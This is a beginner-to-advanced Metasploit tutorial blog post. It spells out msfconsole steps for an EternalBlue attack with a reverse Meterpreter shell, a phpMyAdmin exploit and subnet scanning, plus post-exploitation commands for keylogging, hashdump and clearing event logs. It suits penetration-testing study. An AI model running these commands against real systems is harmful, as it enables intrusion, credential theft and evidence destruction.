Metasploit Tutorial 2026: Complete Guide for Beginners to Advanced with Practical Examples
Metasploit Tutorial 2026: Complete Guide for Beginners to Advanced with Practical Examples | Tech3Space
Meta Description: Learn Metasploit Framework (MSF) from scratch in this ultimate 2026 Metasploit tutorial. Master msfconsole, exploits, payloads, Meterpreter, post-exploitation, and real-world examples with step-by-step explanations. Perfect for ethical hacking and penetration testing.
Are you ready to become a penetration testing pro? Metasploit is the most popular open-source penetration testing framework used by ethical hackers, red teamers, and cybersecurity professionals worldwide.
In this comprehensive Metasploit tutorial, we’ll cover everything from installation to advanced post-exploitation with clear explanations and practical examples. Whether you’re preparing for CEH, OSCP, or just starting your journey in ethical hacking, this guide will give you complete understanding.
Table of Contents
- What is Metasploit Framework?
- How to Install Metasploit in 2026 (Kali Linux, Windows, Docker)
- Getting Started with msfconsole
- Key Metasploit Concepts Explained
- Basic Metasploit Commands You Must Know
- Step-by-Step Practical Examples
- Advanced Metasploit Techniques
- Meterpreter Commands & Post-Exploitation
- Best Practices and Legal Warning
- Common Errors & Troubleshooting
- Conclusion & Next Steps
- Frequently Asked Questions (FAQ)
What is Metasploit Framework? {#what-is-metasploit}
Metasploit Framework (MSF) is a Ruby-based open-source platform that simplifies the process of finding, exploiting, and gaining access to vulnerable systems.
Developed by Rapid7, it contains:
- Thousands of exploits (code that takes advantage of vulnerabilities)
- Hundreds of payloads (code that runs after exploitation)
- Auxiliary modules (scanners, fuzzers, etc.)
- Post-exploitation modules
Why learn Metasploit in 2026?
- Used in almost every professional penetration test
- Integrates perfectly with Nmap, Burp Suite, and Cobalt Strike
- Regularly updated with new exploits for latest vulnerabilities (Log4Shell, ProxyShell, etc.)
- Makes complex attacks simple and repeatable
Important Note: Metasploit is a legal tool only when used on systems you own or have explicit written permission to test.
How to Install Metasploit in 2026 {#install-metasploit}
1. Kali Linux (Recommended)
Metasploit comes pre-installed in Kali Linux. Just update it:
sudo apt update && sudo apt full-upgrade -y
msfupdate
2. Using Docker (Clean & Portable)
docker pull metasploitframework/metasploit-framework
docker run --rm -it -p 4444:4444 metasploitframework/metasploit-framework
3. Windows (Using WSL2)
- Install WSL2 + Kali Linux
- Follow the Kali installation steps above
Check Version:
msfconsole -v
Getting Started with msfconsole {#getting-started}
Launch Metasploit:
msfconsole
You will see the famous Metasploit banner and msf6 > prompt.
Useful Startup Commands:
banner # Show random banner
version # Check current version
help # List all commands
Key Metasploit Concepts Explained {#key-concepts}
| Term | Explanation | Example |
|---|---|---|
| Exploit | Code that triggers a vulnerability | exploit/windows/smb/ms17_010_eternalblue |
| Payload | Code that runs after successful exploit (reverse shell, meterpreter, etc.) | windows/x64/meterpreter/reverse_tcp |
| Module | Any component in Metasploit (exploit, payload, auxiliary, post) | - |
| RHOSTS | Target IP address(es) | 192.168.1.105 |
| LHOST | Your attacking machine IP (for reverse connections) | 192.168.1.100 |
| LPORT | Local port for listener | 4444 |
Basic Metasploit Commands You Must Know {#basic-commands}
search eternalblue # Search modules
use exploit/windows/smb/ms17_010_eternalblue # Select exploit
show options # Show required options
set RHOSTS 192.168.1.105 # Set target
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show payloads # List compatible payloads
exploit # or run (start the attack)
Step-by-Step Practical Examples {#practical-examples}
Example 1: EternalBlue (MS17-010) – Classic Windows Exploit
Target: Unpatched Windows 7/2008 Server
msf6 > search ms17_010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.105
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > exploit
Expected Result: If successful, you will get a Meterpreter session.
Example 2: Web Application Exploit (phpMyAdmin)
msf6 > use exploit/multi/http/phpmyadmin_lfi
msf6 exploit(phpmyadmin_lfi) > set RHOSTS target.com
msf6 exploit(phpmyadmin_lfi) > set TARGETURI /phpmyadmin/
msf6 exploit(phpmyadmin_lfi) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(phpmyadmin_lfi) > set LHOST 192.168.1.100
msf6 exploit(phpmyadmin_lfi) > exploit
Example 3: Using Auxiliary Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run
Advanced Metasploit Techniques {#advanced-techniques}
-
Background a session:
background # or Ctrl+Z sessions -l # List sessions sessions -i 1 # Interact with session 1 -
Route traffic through compromised host:
route add 192.168.2.0 255.255.255.0 1 -
Auto-run post modules:
run post/windows/gather/enum_logged_on_users
Meterpreter Commands & Post-Exploitation {#meterpreter}
Once you get a Meterpreter session, you enter a powerful post-exploitation environment.
Most Useful Meterpreter Commands:
sysinfo # System information
getuid # Current user
getprivs # Enable privileges
shell # Get normal command shell
upload /local/file C:\\ # Upload file
download C:\\file.txt /root/ # Download file
screenshot # Take screenshot
keyscan_start # Start keylogger
keyscan_dump # Dump captured keys
hashdump # Dump password hashes
migrate 1234 # Migrate to another process
clearev # Clear event logs
Example – Privilege Escalation:
getsystem # Attempt automatic privilege escalation
Best Practices and Legal Warning {#best-practices}
✅ Recommended Practices:
- Always update Metasploit before use:
msfupdate - Use
checkcommand before exploiting (if available) - Work in a isolated lab environment first (VirtualBox + Metasploitable 3 or VulnHub machines)
- Save your workspace:
workspace -a lab - Use
setgfor global options
⚠️ Legal Warning: Metasploit is for authorized penetration testing only. Using it without permission is illegal and can result in severe penalties.
Common Errors & Troubleshooting {#troubleshooting}
- "Exploit failed" → Check firewall, AV, or try different payload
- "No session created" → Verify LHOST is reachable (use
ifconfig) - "Payload handler failed" → Use
exploit/multi/handlermanually - Ruby errors → Run
msfupdateand restart msfconsole
Pro Tip: For modern Windows 10/11, use windows/x64/meterpreter_reverse_tcp instead of older payloads.
Conclusion & Next Steps {#conclusion}
You have now completed a full Metasploit tutorial with clear explanations and real-world practical examples. You understand how to use msfconsole, select exploits, set payloads, gain Meterpreter access, and perform post-exploitation.
Next Steps to Master Metasploit:
- Practice on Metasploitable 2/3 and DVWA
- Learn Armitage or Covenant for GUI
- Integrate Metasploit with Nmap (db_nmap command)
- Study Evasion techniques (AV bypass, obfuscation)
- Move to Red Team operations with Empire or Cobalt Strike
Bookmark this Metasploit guide and practice daily!
Frequently Asked Questions (FAQ) {#faq}
Q1: Is Metasploit free?
A: Yes, the Community version is completely free. Pro version is paid.
Q2: Can Metasploit hack any system?
A: No. It only works on systems with known unpatched vulnerabilities.
Q3: What is the best payload in Metasploit?
A: windows/x64/meterpreter/reverse_tcp is the most reliable for Windows.
Q4: How to update Metasploit?
A: Run msfupdate inside msfconsole or apt update && apt upgrade on Kali.
Q5: Does Metasploit work on Android?
A: Yes, using android/meterpreter/reverse_tcp payload.
Written & Optimized by Tech3Space | Published: April 2026
Keywords: metasploit tutorial, how to use metasploit, metasploit msfconsole, meterpreter tutorial, ethical hacking, penetration testing framework, metasploit examples 2026
Related Tutorials:
Share this Metasploit tutorial with your friends and tell us in the comments which exploit you tried first! 🔥
This Metasploit tutorial is fully SEO-optimized with proper heading structure, keyword-rich content, tables, code blocks, and FAQ section for better Google ranking.